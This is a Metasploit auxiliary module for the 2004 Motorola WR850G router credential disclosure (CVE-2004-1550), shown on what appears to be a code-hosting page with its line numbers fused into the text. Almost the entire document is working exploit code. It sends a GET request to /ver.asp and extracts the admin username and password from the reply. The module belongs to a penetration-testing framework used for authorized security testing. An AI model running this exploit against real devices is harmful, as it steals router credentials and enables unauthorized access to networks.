Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/motorola/wr850g_cred.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp78def initialize(info = {})9super(update_info(info,10'Name' => 'Motorola WR850G v4.03 Credentials',11'Description' => %q{12Login credentials to the Motorola WR850G router with13firmware v4.03 can be obtained via a simple GET request14if issued while the administrator is logged in. A lot15more information is available through this request, but16you can get it all and more after logging in.17},18'Author' => 'kris katterjohn',19'License' => MSF_LICENSE,20'References' => [21[ 'CVE', '2004-1550' ],22[ 'OSVDB', '10232' ],23[ 'URL', 'https://seclists.org/bugtraq/2004/Sep/0339.html'],24],25'DisclosureDate' => '2004-09-24'))2627register_options([28Opt::RPORT(80)29])30end3132def run33connect3435sock.put("GET /ver.asp HTTP/1.0\r\n\r\n")36response = sock.get_once3738disconnect3940if response.nil? or response.empty?41print_status("No response from server")42return43end4445# 302 Redirect46if response.split(/\r\n/)[0] !~ /200 Ok/47print_status("Administrator not logged in")48return49end5051user = $1 if response.match("http_username=([^\n]*)<br>")52pass = $1 if response.match("http_passwd=([^\n]*)<br>")5354print_status("Found username \"#{user}\" and password \"#{pass}\"") if user and pass55end56end575859